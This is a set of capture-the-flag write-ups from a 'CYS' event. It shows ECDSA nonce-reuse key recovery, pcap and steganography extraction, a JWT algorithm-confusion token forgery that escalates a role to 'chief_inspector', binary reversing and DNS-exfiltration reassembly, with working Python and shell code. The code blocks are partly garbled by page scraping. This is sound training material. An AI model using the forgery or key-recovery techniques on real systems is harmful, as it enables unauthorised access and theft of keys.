Both signatures were generated using the same ECDSA nonce `k`.

For ECDSA:

```text id="j2m8q4"
s = (k^-1)(z + rd) mod n

Since the same k was used for both messages:

```text id=”p5v1x9” k = (z1 - z2) / (s1 - s2) mod n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Use:

```python id="h6r3t8"
from hashlib import sha256
from ecdsa import SECP256k1

message1 = b"Archive access request: sector-17"
message2 = b"Archive access request: sector-42"

n = SECP256k1.order

z1 = int.from_bytes(sha256(message1).digest(), "big")
z2 = int.from_bytes(sha256(message2).digest(), "big")

k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n

print("Recovered k:", hex(k))

For recovering the ECDSA private key:

Once k is known:

```text id=”r9w2f6” d = (s1k - z1) / r1 mod n

1
2
3
4
```python id="q4n7s1"
d = ((s1 * k - z1) * pow(r1, -1, n)) % n
print("Recovered private key:", hex(d))

For recovering the ECDH shared secret:

The info.json file also contains the ECDH public key coordinates:

```text id=”u8c3m5” rendezvous_point.north rendezvous_point.east

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
```python id="a6k1p9"
from cryptography.hazmat.primitives.asymmetric import ec

public_x = int(data["rendezvous_point"]["north"], 16)
public_y = int(data["rendezvous_point"]["east"], 16)

ecdh_public = ec.EllipticCurvePublicNumbers(
    public_x, public_y, ec.SECP256K1()
).public_key()

ecdh_private = ec.derive_private_key(d, ec.SECP256K1())

shared_secret = ecdh_private.exchange(ec.ECDH(), ecdh_public)
print("Shared secret:", shared_secret.hex())

For recovering the XORShift8 seed:

The PRNG clue gives:

```text id=”v3h7n2” Observed X1 = f5

1
2
3
4
5
6
7
8
9
The XORShift8 function is:

```python id="m8q4x6"
def xorshift8(x):
    x ^= (x << 3) & 0xff
    x ^= x >> 5
    x ^= (x << 1) & 0xff
    return x & 0xff

The seed is one byte, so test all 256 possibilities:

```python id=”k5r1d9” observed_x1 = 0xf5

seed = None

for candidate in range(256): if xorshift8(candidate) == observed_x1: seed = candidate break

if seed is None: raise ValueError(“Seed not found”)

print(“Seed:”, f”{seed:02x}”)

1
2
3
4
5
The recovered seed is:

```text id="n2w7p4"
99

For generating the PRNG sequence:

```python id=”c6t3m8” outputs = [] state = seed

for _ in range(16): state = xorshift8(state) outputs.append(state)

for i, value in enumerate(outputs, 1): print(f”X{i} = {value:02x}”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
The sequence is:

```text id="f4j9s2"
X1  = f5
X2  = e1
X3  = 32
X4  = e9
X5  = ec
X6  = 98
X7  = ee
X8  = ae
X9  = 68
X10 = 7b
X11 = ea
X12 = c1
X13 = 51
X14 = 61
X15 = be
X16 = d4

For reconstructing the salt:

The fixed permutation is:

```python id=”p7v2h5” permutation = [ 13, 6, 7, 10, 14, 1, 2, 9, 15, 4, 16, 3, 11, 8, 5, 12 ]

salt = bytes(outputs[i - 1] for i in permutation) print(“Salt:”, salt.hex())

1
2
3
4
5
This gives:

```text id="s8m4q1"
5198ee7b61f5e168bee9d432eaaeecc1

For building the hash chain:

There are two possible branches.

Story A:

```text id=”b3n7x9” BLUE → 99.1 → JESSE → 17 → HEISENBERG

1
2
3
4
5
Story B:

```text id="d6r2k8"
RED → 96.4 → MAX → 42 → FRING

The hash-chain operation is:

```text id=”w5p1c7” H1 = SHA256(token1) H2 = SHA256(H1 || token2) H3 = SHA256(H2 || token3) …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
```python id="q9f3m6"
from hashlib import sha256

def build_chain(tokens):
    current = sha256(tokens[0].encode()).digest()
    for token in tokens[1:]:
        current = sha256(current + token.encode()).digest()
    return current

story_a = ["BLUE", "99.1", "JESSE", "17", "HEISENBERG"]
story_b = ["RED", "96.4", "MAX", "42", "FRING"]

info_a = build_chain(story_a)
info_b = build_chain(story_b)

print("INFO A:", info_a.hex())
print("INFO B:", info_b.hex())

The results are:

```text id=”r4k8t2” INFO A: 00f9f80029d42eb7672b9daf7c3ae1f203e628b30ff5fc22ba08e98f6d4c2191

INFO B: 85f3b386efd3d31d6eac7e8b240f84ad4d3c0bc2795cd148250e9535ae13f7b3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
For deriving the AES key:

For each branch, derive the AES-256 key using HKDF-SHA256:

```python id="h1v6n9"
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes

aes_key = HKDF(
    algorithm=hashes.SHA256(),
    length=32,
    salt=salt,
    info=info
).derive(shared_secret)

For decrypting the ciphertext:

The participant receives:

```text id=”m3q7s5” info.json aes_nonce.bin aes_ciphertext.bin

1
2
3
4
5
6
7
8
Read the AES files:

```python id="x8d2p4"
from pathlib import Path

nonce = Path("aes_nonce.bin").read_bytes()
ciphertext = Path("aes_ciphertext.bin").read_bytes()

Try both hash-chain branches:

```python id=”t5k9w1” from cryptography.hazmat.primitives.ciphers.aead import AESGCM

for branch, info in [(“A”, info_a), (“B”, info_b)]: aes_key = HKDF( algorithm=hashes.SHA256(), length=32, salt=salt, info=info ).derive(shared_secret)

1
2
3
4
5
6
7
8
try:
    flag = AESGCM(aes_key).decrypt(nonce, ciphertext, None)
    print("Correct branch:", branch)
    print("FLAG:", flag.decode())
    break
except Exception:
    pass else:
print("Decryption failed") ```

Only the correct INFO produces a valid AES-GCM authentication tag. The successful decryption identifies the correct branch and reveals the flag.

The final flag is:

text id="n6r3x8" CYS{tH1$_3cd$A_1S_b3tTeR_tH@n_h3is3n83rGs_b1Ue_Pr0DuCt}

Flag

CYS{tH1$_3cd$A_1S_b3tTeR_tH@n_h3is3n83rGs_b1Ue_Pr0DuCt}

Blindside

Blindside

Author : P S Suraj Kumar

A single pcap, two carrier flows, three hiding spots for the flag, and a decoy zip entry to punish anyone who just greps for CYS{. Nothing here needs the Wireshark GUI — tshark covers every step, and the point of the challenge was to make sure a headless box could still solve it.

What’s actually going on

The “evidence file” leaves the network in two pieces over two different protocols: half over a plain HTTP GET, the rest hours later over FTP-DATA, same two hosts both times. That split alone is a mild evasion trick against anyone only watching one flow. The FTP control channel logs in with a cleartext password, which turns out to double as the zip password later — reusing credentials across services is basically a running joke in these captures.

Once you glue the two halves back together you get a normal-looking PDF, except it keeps going well past its own %%EOF. That tail is a zip file XOR’d with a single byte, so file and binwalk just see noise instead of PK\x03\x04. Inside the zip, three files: two images and a readme. The readme has a flag-shaped string in it. It’s wrong. Ignore it.

The real flag is split across the two images and the zip’s own comment field, each one hidden with a different trick — EXIF metadata, LSB steganography, and the archive comment (which, notably, isn’t encrypted at all and doesn’t need the password).

Pulling it apart

Start with the conversations to see what’s even in the capture:

1
tshark -r capture.pcapng -q -z conv,tcp

Three TCP streams show up: HTTP on port 80, FTP control on 21, FTP-DATA on 20, all between the same pair of hosts, with the FTP pair kicking off about eight seconds after HTTP wraps up. That’s the “hours apart” from the flavor text, compressed for the sake of not making people wait around.

Grab the HTTP body without touching a GUI:

1
tshark -r capture.pcapng --export-objects http,./httpobjs

For the FTP-DATA half, find the right stream and follow it raw:

1
2
tshark -r capture.pcapng -Y "ftp-data" -T fields -e tcp.stream | sort -u
tshark -r capture.pcapng -q -z follow,tcp,raw,<stream id>

Stick the HTTP body and the FTP-DATA payload together in that order and you get back the original PDF. The password, while you’re in there, is sitting in plaintext on the control channel:

1
tshark -r capture.pcapng -Y "ftp.request.command==PASS" -T fields -e ftp.request.arg

That gives 1_Am_The_Danger_99 — worth remembering, it comes back later.

The PDF itself is fine right up to %%EOF. Everything after that is high-entropy garbage with no file magic, which is the usual tell for “XOR this.” Only 256 keys to try, so just brute force it looking for a decoded PK\x03\x04. Key turns out to be 0x37.

Before doing anything else with the recovered zip, check its comment — it costs nothing and doesn’t need a password:

1
unzip -z recovered.zip

That’s one third of the flag, sitting right there. Then unlock the rest:

1
unzip -P '1_Am_The_Danger_99' recovered.zip

which drops part1_carrier.jpg, part2_carrier.png, and the decoy readme.txt. exiftool on the jpeg pulls the UserComment field straight out — that’s part one. The png doesn’t have anything visible sitting on top; it’s LSB steganography, least significant bit of each RGB channel in raster order, first 32 bits are a length header in bytes, rest is the message.

Once you’ve got all three pieces, the ordering isn’t really a puzzle — one starts with CYS{, one ends with }, so there’s only one way they fit together.

Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
"""Solver for 'Say My Name'. Usage: python3 solve.py capture.pcapng"""
import sys, zipfile, io
from scapy.all import rdpcap, TCP, Raw
from PIL import Image
import piexif

def main(pcap_path):
    pkts = rdpcap(pcap_path)

    http_data = b""
    for p in pkts:
        if TCP in p and Raw in p and p[TCP].sport == 80:
            http_data += bytes(p[Raw])
    sep = http_data.find(b"\r\n\r\n")
    part1_net = http_data[sep + 4:]

    part2_net = b""
    for p in pkts:
        if TCP in p and Raw in p and p[TCP].sport == 20:
            part2_net += bytes(p[Raw])

    combined = part1_net + part2_net

    ftp_ctrl = b""
    for p in pkts:
        if TCP in p and Raw in p and (p[TCP].sport == 21 or p[TCP].dport == 21):
            ftp_ctrl += bytes(p[Raw])
    pass_line = next(l for l in ftp_ctrl.split(b"\r\n") if l.startswith(b"PASS "))
    zip_password = pass_line.split(b" ", 1)[1].decode()

    eof = combined.find(b"%%EOF")
    tail = combined[eof + len(b"%%EOF") + 1:]

    key = next(k for k in range(256)
               if bytes(b ^ k for b in tail[:4]) == b"PK\x03\x04")
    zip_bytes = bytes(b ^ key for b in tail)

    zf = zipfile.ZipFile(io.BytesIO(zip_bytes))
    part3 = zf.comment.decode()

    zf.setpassword(zip_password.encode())
    jpg_bytes = zf.read("part1_carrier.jpg")
    with open("/tmp/_part1.jpg", "wb") as f:
        f.write(jpg_bytes)
    exif = piexif.load("/tmp/_part1.jpg")
    uc = exif["Exif"][piexif.ExifIFD.UserComment]
    part1 = uc[8:].decode() if uc[:5] == b"ASCII" else uc.decode()

    png_bytes = zf.read("part2_carrier.png")
    img = Image.open(io.BytesIO(png_bytes)).convert("RGB")
    pixels = list(img.getdata())
    bits = "".join(str(ch & 1) for px in pixels for ch in px)
    length = int(bits[:32], 2)
    msg_bits = bits[32:32 + length * 8]
    msg_bytes = bytes(int(msg_bits[i:i+8], 2) for i in range(0, len(msg_bits), 8))
    part2 = msg_bytes.decode()

    print("part1:", part1)
    print("part2:", part2)
    print("part3:", part3)
    print("flag: ", part1 + part2 + part3)

if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "capture.pcapng")

Needs pip install scapy Pillow piexif --break-system-packages.

Loose ends

  • readme.txt carries a fake flag with the old CYSCOM{...} prefix — this event’s flags all use the shorter CYS{...} format, so it’s also a trap for people running a blind regex over everything they find.
  • The “you are goddamn right” line in the cover memo is just flavor — it echoes the FTP/zip password (1_Am_The_Danger_99) but doesn’t hold any part of the flag. Don’t spend time trying to extract something from it.
  • Re-solved the whole thing from a clean capture using nothing but tshark, scapy, and PIL to make sure nobody actually needs Wireshark’s desktop app open to get through this.

Flag

CYS{s4y_my_n4m3_h315enb3rg}

The Blackwood Manor Case File

The Blackwood Manor Case File

The challenge is a web-based applied cryptography challenge involving a JWT algorithm confusion vulnerability.

The server-side token examiner trusts the alg value specified in the JWT header and selects the verification method accordingly.

For RS256, it performs RSA signature verification using the RSA public key.

For HS256, it performs HMAC-SHA256 verification but incorrectly uses the same RSA public key text as the HMAC secret.

Since the RSA public key is not secret, we can use it to forge a valid HS256 token.

Finding the Public Key

Firstly, we open index.html in a browser and inspect the page source.

Searching for:

1
BEGIN PUBLIC KEY

reveals the RSA public key inside a hidden element:

1
<pre id="exhibit-4">

This is the public key used by the token examiner to verify the JWT signature.

We copy the complete PEM block exactly as it appears, including the BEGIN PUBLIC KEY and END PUBLIC KEY lines and the line breaks.

Inspecting the Guest Token

The page also displays the decoded payload of the guest token.

The payload has the following structure:

1
2
3
4
5
6
7
{
  "sub": "...",
  "name": "...",
  "role": "guest",
  "case": "blackwood-manor",
  "iat": "..."
}

The important field is role, which is currently set to:

1
guest

We need to change this to:

1
chief_inspector

Exploiting JWT Algorithm Confusion

The vulnerability occurs because the examiner trusts the algorithm specified in the JWT header.

The original token uses RSA-based signing:

1
2
3
4
{
  "alg": "RS256",
  "typ": "JWT"
}

We can change the algorithm to HS256:

1
2
3
4
{
  "alg": "HS256",
  "typ": "JWT"
}

We then create a payload with the required role:

1
2
3
4
5
6
{
  "sub": "attacker",
  "name": "A. Ashworth",
  "role": "chief_inspector",
  "case": "blackwood-manor"
}

The crucial mistake is that the application uses the RSA public key text as the HMAC secret when HS256 is selected.

Therefore, we can sign our forged token ourselves using the publicly available RSA key.

Creating the Forged Token

This can be done using tools such as jwt.io or locally with libraries such as jose or PyJWT.

Using jwt.io, set the header to:

1
2
3
4
{
  "alg": "HS256",
  "typ": "JWT"
}

and the payload to:

1
2
3
4
5
6
{
  "sub": "attacker",
  "name": "A. Ashworth",
  "role": "chief_inspector",
  "case": "blackwood-manor"
}

Next, paste the RSA public key copied from the page source into the secret field.

Make sure “secret base64 encoded” is unchecked, so the public key is interpreted as raw UTF-8 bytes.

jwt.io then calculates the HMAC-SHA256 signature using the RSA public key text as the secret.

The resulting JWT has the usual three components:

1
header.payload.signature

Copy the complete token.

Accessing the Evidence Room

Paste the forged JWT into Present Credentials and submit it.

The examiner reads the JWT header and sees:

1
alg: HS256

It therefore performs HMAC-SHA256 verification using the RSA public key text.

Since we used the exact same public key text to generate the HMAC signature, the signature verification succeeds.

The examiner then checks the token’s role:

1
chief_inspector

Access is granted and the Evidence Room is unsealed.

The flag is revealed:

1
CYS{alg_confusion_ashworth_forged_the_seal}

The complete attack chain is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Inspect page source
        ↓
Extract RSA public key
        ↓
Inspect guest JWT
        ↓
Change RS256 → HS256
        ↓
Change role → chief_inspector
        ↓
Sign using RSA public key as HMAC secret
        ↓
Submit forged JWT
        ↓
Access Evidence Room
        ↓
Flag

Flag

CYS{alg_confusion_ashworth_forged_the_seal}

Tio's Bell

Tio’s Bell

Author: Sagnik

This challenge provides a Linux x86-64 ELF binary which appears to be a laboratory monitoring program.

The binary contains several chemistry-themed functions, a custom decoder, a state machine, and a final flag-generation routine. The intended solve is to reverse engineer the important execution path rather than simply searching the binary for the flag.

The overall solve path is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ELF
 ↓
main
 ↓
dispatcher
 ↓
crystallize()
 ↓
custom decoder
 ↓
hidden clue
 ↓
bell/state-machine sequence
 ↓
target resolution
 ↓
FNV-1a
 ↓
LCG + XOR
 ↓
FLAG

Firstly, identify the binary

Run:

1
file lab_monitor

The binary is a Linux x86-64 ELF.

It is useful to inspect its strings as well:

1
strings -a lab_monitor

There are several laboratory-themed messages and diagnostic strings.

The binary also contains the flag format:

1
CYS{%s}

but the actual flag is generated at runtime.

Find the main function

Open the binary in Ghidra and follow the ELF entry point until the call to __libc_start_main.

This leads to main.

The main function initializes the program state and then passes it through a dispatcher which calls several themed stages.

The interesting stages include functions associated with:

1
2
3
4
5
purity
temperature
yield
crystallize
sensor

Most of the early logic is useful mainly for reconstructing the intended execution path.

Follow the crystallize stage

The interesting function is the crystallize() stage.

It processes a 50-byte encoded blob using a 16-byte substitution table.

The binary contains the following table:

1
2
13 5a 27 41 0d 6e 32 19
55 08 3c 72 24 4f 11 38

and a 50-byte encoded blob.

The function also maintains a rolling 32-bit state.

Identify the LCG

The state update is:

1
state = state * 0x19660D + 0x3C6EF35F;

with 32-bit wrapping.

The initial state is:

1
737

This is a Linear Congruential Generator.

For every byte, the program advances the state and uses the high byte of the result as part of the decoder.

Reverse the byte transformation

The Ghidra output contains a position-dependent rotation:

1
(i % 5) + 3

The operation:

1
x >> rotation | x << (8 - rotation)

is an 8-bit right rotation.

The decoder can therefore be reproduced conceptually as:

1
2
3
4
5
6
7
8
9
10
11
12
13
state = 737

for i in range(50):
    state = (state * 0x19660D + 0x3C6EF35F) & 0xffffffff

    x = SUB_TABLE[i & 0xf] + ENC[i]
    x &= 0xff

    x ^= state >> 24

    x = ror8(x, (i % 5) + 3)

    plaintext[i] = x

Decoding the blob gives:

1
IMMOBILE ELDER / PRIVATE RESIDENCE / SIGNAL DEVICE

This is the first major clue.

Interpret the clue

The decoded text describes:

1
2
3
IMMOBILE ELDER
PRIVATE RESIDENCE
SIGNAL DEVICE

This points toward Hector Salamanca from Breaking Bad, who is an elderly, largely immobile character associated with a bell used as his communication device.

The bell reference is important because it leads into the next stage of the binary.

Reverse the sensor state machine

The next interesting function implements a state machine.

The expected sequence is embedded as:

1
02 02 05 02 02

Therefore the required signal sequence is:

1
2 2 5 2 2

Following the state transitions shows that successfully processing this sequence reaches:

1
2
trigger_state = 6
trigger_ok = 1

This confirms that the bell clue is connected to the intended execution path.

Resolve the target

The next stage checks that the clue and sensor state are valid.

It then evaluates the candidate records stored in the binary.

The matching candidate produces:

1
target_id = 0x6d

or:

1
109

in decimal.

This value is later mixed into the final flag-generation seed.

Identify FNV-1a

The final flag-generation routine hashes the recovered clue.

The hash function starts with:

1
0x811C9DC5

and multiplies by:

1
0x01000193

after XORing each input byte.

These are the standard constants for FNV-1a.

The equivalent Python function is:

1
2
3
4
5
6
7
8
def fnv1a(data):
    h = 0x811C9DC5

    for byte in data:
        h ^= byte
        h = (h * 0x01000193) & 0xffffffff

    return h

For:

1
IMMOBILE ELDER / PRIVATE RESIDENCE / SIGNAL DEVICE

the resulting hash is:

1
0x95516be4

Construct the final seed

The program mixes the clue hash with the recovered target ID and trigger state:

1
2
3
4
5
seed =
    clue_hash
    XOR target_id
    XOR trigger_state * 0x45D9F3B
    XOR 0x224BB268

This can be reproduced with:

1
2
3
4
5
6
seed = (
    clue_hash
    ^ 0x6D
    ^ ((6 * 0x45D9F3B) & 0xffffffff)
    ^ 0x224BB268
) & 0xffffffff

This produces the initial state used by the final flag generator.

Generate the flag

The program uses the same LCG:

1
state = state * 0x19660D + 0x3C6EF35F

For each of 20 characters it:

  1. advances the LCG;
  2. takes the high byte;
  3. rotates it;
  4. XORs it with the 16-byte substitution table;
  5. reduces the result modulo 26;
  6. converts it into a lowercase letter.

The rotation is:

1
(i % 5) + 3

The equivalent generation logic is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
result = []

for i in range(20):
    seed = (
        seed * 0x19660D
        + 0x3C6EF35F
    ) & 0xffffffff

    byte = (seed >> 24) & 0xff

    rotation = (i % 5) + 3

    byte = rol8(byte, rotation)

    byte ^= SUB_TABLE[i & 0xf]

    result.append(
        chr(ord('a') + (byte % 26))
    )

flag = "CYS{" + "".join(result) + "}"

This produces:

1
CYS{ekrfcozsmqktfpbmtcyq}

Complete solve chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
                     lab_monitor
                          |
                          v
                         main
                          |
                          v
                     dispatcher
                          |
                          v
                     crystallize
                          |
              +-----------+-----------+
              |                       |
        16-byte table            50-byte blob
              |                       |
              +-----------+-----------+
                          |
                          v
                      LCG decoder
                          |
                          v
       IMMOBILE ELDER / PRIVATE RESIDENCE /
                  SIGNAL DEVICE
                          |
                          v
                 sensor state machine
                          |
                          v
                      2 2 5 2 2
                          |
                          v
                     state = 6
                          |
                          v
                   target = 0x6d
                          |
                          v
                       FNV-1a
                          |
                          v
                 seed construction
                          |
                          v
                        LCG
                          |
                          v
                     ROL + XOR
                          |
                          v
                        % 26
                          |
                          v
                         FLAG

Final Flag

1
CYS{ekrfcozsmqktfpbmtcyq}

Flag

CYS{ekrfcozsmqktfpbmtcyq}

VENONA

VENONA

Author : Danniyel Franx

Files handed to solvers

  • cover.png — real Fantasian-alphabet hint image with secret.zip appended after IEND
  • cipher.png — two intercepted ciphertexts (C1, C2), a visible faint clue line, K2 in EXIF

Step-by-step solution

  1. Decode the glyphs on cover.png using the real Fantasian alphabet → "NOT EVERYTHING VISIBLE IS ALL THERE IS" — nudges solver to inspect the file, not just view it.

  2. Extract the zip. Either works:
    • binwalk cover.png (finds it as a Zip archive at offset 36303)
    • unzip cover.png directly (Info-ZIP self-corrects the offset; prints a harmless warning)

    This produces flag.enc — inside a password-protected zip.

  3. Open cipher.png. Visible: two hex strings (C1, C2), and a faint light-grey line reading “I LOVE VENONA” — flavor + functional crib, nodding to the real VENONA project (Soviet one-time-pad key reuse let cryptanalysts break “unbreakable” ciphers). Run exiftool cipher.pngComment field → this is K2, needed later (step 6).

  4. Crib-drag the two-time pad.
    1
    2
    3
    4
    
    C1 = ZIP_PASSWORD XOR K
    C2 = "I LOVE VENONA STOP MEET AT DAWN..." XOR K      (same K — the bug)
    C1 XOR C2 = ZIP_PASSWORD XOR "I LOVE VENONA"
    (C1 XOR C2) XOR "I LOVE VENONA" = ZIP_PASSWORD
    

    → recovers the zip password: Kryptos_Venon

  5. Unlock the zip: unzip -P "Kryptos_Venon" cover.pngflag.enc contains: TRLsUeVtUBL0IBUhTugfJRZrIuDrURP1IYWhJBH0TOEfTeZ5HYQgUODsJOIeIRZ1ThD3IOWgURDtHOf4T2UdIhAfIuTsIOf1IhT=

  6. Peel the final layer (built as flag → XOR K2 → hex → base64 → ROT21, so undo in reverse):
    • Apply ROT5 (not ROT21 again — ROT21 is not self-inverse; 21+5=26) → valid Base64
    • Base64-decode → hex string
    • Hex-decode → raw bytes
    • XOR those bytes with K2 (cyclically) →

    CYS{V3N0N4_CR4CK5_TH3_BLU3_M3TH_C0D3}

Full command sequence (copy-paste)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 1. Recon + carve the zip out of cover.png
file cover.png
binwalk cover.png
unzip cover.png                      # or: binwalk -e cover.png

# 2. Recon on cipher.png
exiftool cipher.png                  # Comment: ee4651a612cc87e9  (= K2)
# "I LOVE VENONA" is directly visible (faint grey) near the bottom of the image

# 3. Crib-drag + full decode, all in one script
python3 << 'EOF'
import base64

C1 = bytes.fromhex("8dc0e7f2016a0115b4f1485d64")
C2 = bytes.fromhex("8f92d2cd2340521ca7da697c4b9e2a436cfe6be96bd4dec16d07c1a713a1a80555b00cdee66a9e4605d4c39e54e52bd5c8b223b20e60")
CRIB = "I LOVE VENONA"

xor_c1c2 = bytes(a ^ b for a, b in zip(C1, C2))
zip_pw = bytes(a ^ b for a, b in zip(xor_c1c2, CRIB.encode())).decode()
print("ZIP password:", zip_pw)
EOF

# 4. Unzip with the recovered password
unzip -P "Kryptos_Venon" -o cover.png -d out
cat out/flag.enc

# 5. Final decode chain: ROT5 (undoes ROT21) -> base64 decode -> hex decode -> XOR K2
python3 << 'EOF'
import base64
enc = open("out/flag.enc").read().strip()

def rot(s, n):
    return "".join(chr((ord(c)-65+n)%26+65) if c.isupper() else
                    chr((ord(c)-97+n)%26+97) if c.islower() else c for c in s)

step1 = rot(enc, 5)
step2 = base64.b64decode(step1)
raw = bytes.fromhex(step2.decode())

K2 = bytes.fromhex("ee4651a612cc87e9")
flag = bytes(b ^ K2[i % len(K2)] for i, b in enumerate(raw)).decode()
print("FLAG:", flag)
EOF

Flag

CYS{V3N0N4_CR4CK5_TH3_BLU3_M3TH_C0D3}

Blue Noise

Blue Noise

The player receives only blue_noise.png. The visible photograph is a distraction; the solve has two layers.

Recover the key from a blue-channel bit plane

Start with structural checks:

1
2
3
file blue_noise.png
strings blue_noise.png
binwalk blue_noise.png

The image itself does not contain a readable flag. Inspect RGB channels and their bit planes. In blue-channel bit plane 2, the image contains a QR code. Visualizing that plane or extracting the hidden region reveals the QR. Scanning it gives:

1
737-ABQ

The key is deliberately in bit plane 2 rather than the obvious LSB.

Find and unlock the appended artifact

The PNG has data after its IEND chunk. binwalk reports a ZIP archive in the suffix. Recover it either with binwalk -e or by locating the ZIP local header and copying from there:

1
2
3
4
offset=$(binwalk blue_noise.png | awk '/Zip archive data/ {print $1; exit}')
dd if=blue_noise.png of=hidden.zip bs=1 skip="$offset" status=none
unzip -P 737-ABQ hidden.zip
cat note.txt

The password-protected note.txt contains:

1
CYS{BLU3_H1D35_M0R3_TH4N_C0L0R}

The intended chain is therefore: blue bit plane → QR key → trailing ZIP → flag.

Flag

CYS{BLU3_H1D35_M0R3_TH4N_C0L0R}

Blue Sky Dead Drop v2

Blue Sky Dead Drop v2

Author: Gokul

TL;DR of the solve chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PCAP (DNS only)
  └─> exfil subdomains:  s<idx><type>.<hex>.<d1>.<d2>.<domain>
        │   "zero comes before A"   → base32hex alphabet (0-9a-v)
        │   "clean copies count once" → dedupe / ignore corrupted retries + 'r' rejects
        │   "check the order of delivery" → sort by base-36 sequence number
        ▼
      base32hex → 32-byte chunks → gzip → tar
        └─> labcheck (ELF)  +  cook_notes.txt  +  manifest.enc  +  drops.dat
              │  "manager special" = POLLOS7 (current slip)
              │  "token before batch stamp, one-char joiner"  →  TOKEN$B30852
              ▼
      labcheck accepts  POLLOS7$B30852
              ▼
      PBKDF2-HMAC-SHA256 → AES-256-GCM (AAD "BSC2") → decrypt manifest.enc
              └─> route=RV-052, window=15:08:52Z, key_fragment=d7d4299869b9d8c55138
              ▼
      payload XOR repeated_SHA256(fragment|route|window)  →  FLAG

0. Recon — what’s actually in the capture

The README says a workstation was flagged for “unusual DNS activity” and only the packet capture survived. Loading the PCAP with Scapy:

1
2
3
from scapy.all import *
pkts = rdpcap('capture.pcap')
print(len(pkts))            # 464 packets

Every single packet is DNS. There are two populations:

  1. Background noise — normal-looking lookups (auth.corp.local, clients4.google.com, cdn.jsdelivr.net, time.cloudflare.com, …) that all resolve to 203.0.113.x (TEST-NET-3 documentation addresses). These exist to make the exfil traffic blend in.

  2. The exfil channel — weird high-entropy labels of the form:

    1
    2
    
    s<INDEX><TYPE>.<HEX4>.<D1>.<D2>.<DOMAIN>
    e.g.  s000o.7a5b.619uabmtbvlj9h15j3n7.4p7vboikcm08ih3h69g.updates.madrigal-cache.net
    

Breaking that name down:

partexamplemeaning
s000o000 + obase-36 sequence number (000) + type (o)
7a5bhexa small 2-byte field (role unclear — see §Notes)
d1619uabmtbvlj9h15j3n7payload chunk part 1
d24p7vboikcm08ih3h69gpayload chunk part 2
edge / api / updates / imgC2 domain“which drop point this batch went to”

Grouping the records by type:

typecount (unique)index patternd1/d2 lengthdomain
o2436·k (0,36,72,…)20 + 19api/updates/img
q1704 + 36·k26 + 26edge
r4scattered26 + 26edge

Two observations that matter enormously:

  • r records are rejected batches. Several r queries get an rcode=3 (NXDOMAIN) response and are then retransmitted — they’re the failed/dirty batches.
  • Some q indices appear twice with payloads that differ by a single character (e.g. index 0b4v5tebnsd… vs u5tebnsd…). One copy is corrupted; the other is clean.

1. Reading the hints (the TXT records)

Three TXT answers in the capture carry the “cook’s” instructions:

1
2
3
4
5
6
7
8
qa-note.madrigal-cache.net.
   TXT "QA memo: zero comes before A; clean copies count once;
        position precedes run length."

special.pollos.local.      TXT "Manager special: POLLOS7"
special.cache0.pollos.local TXT "Manager special: FAMILIA2"
special.cache1.pollos.local TXT "Manager special: VEGGIE4"
special.cache2.pollos.local TXT "Manager special: COMBO12"

Decoding the memo:

  • “zero comes before A” → the data alphabet does not start at a; it starts at 0. The d1/d2 fields use exactly the 32-character set 0123456789abcdefghijklmnopqrstuv — that’s base32hex (RFC 4648 “Extended Hex Alphabet”). (The sequence numbers also use base-36 0-9a-z.)

  • “clean copies count once” → deduplicate. For every logical chunk there may be several copies on the wire (retries, corrupted retransmits, and r rejects). Only one clean copy of each chunk goes into the message.

  • “position precedes run length” → ordering/chunking matters: you must respect the position (sequence number) of each chunk when reassembling.

  • “the cook never repeats a recipe… check the order of delivery” (README) → reassemble in sequence-number order, not capture order.

  • “the kitchen manager changed the special during the shift; Gus was particular about which slip was current” → there are several “manager special” values, but only the current one (special.pollos.localPOLLOS7, no .cacheN suffix) is the live slip. The others are stale.


2. Reassembling and decoding the exfil stream

2.1 Collect & dedupe the records

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
from scapy.all import *

pkts = rdpcap('capture.pcap')
recs = []
for p in pkts:
    if not p.haslayer(DNS):
        continue
    q = p[DNS].qd.qname.decode().rstrip('.')
    m = re.match(r'^s([0-9a-z]{3})([a-z])\.([0-9a-f]{4})\.([0-9a-z]+)\.([0-9a-z]+)\.([a-z0-9.-]+)$', q)
    if m:
        idx, typ, hx, d1, d2, dom = m.groups()
        recs.append((int(idx, 36), typ, hx, d1, d2, dom, p[DNS].rcode))

2.2 base32hex → bytes

Each q record has d1+d2 = 26+26 = 52 base32hex characters = 52 × 5 = 260 bits. That’s 32.5 bytes, so every label actually carries 32 bytes with 4 bits of padding. The important subtlety: the chunks are self-contained — decode each label’s 52 chars to 32 bytes individually (do not concatenate the strings and decode in one shot, or the 4 padding bits per label desynchronise the bit stream).

1
2
3
4
5
6
B32 = "0123456789abcdefghijklmnopqrstuv"

def b32hex_decode(s):                      # 52 chars -> 32 bytes
    bits = ''.join(f'{B32.index(c):05b}' for c in s)
    n = (len(bits) // 8) * 8
    return bytes(int(bits[i:i+8], 2) for i in range(0, n, 8))

2.3 Sort, choose clean copies, decompress

Sort the unique q records by sequence number, pick the clean copy at each of the 7 conflicted indices (validated by the gzip CRC32 — a wrong byte almost always fails the CRC, which is exactly what “clean copies count once” exploits), drop the r rejects, and decompress:

1
2
3
4
5
6
7
8
9
10
11
import gzip

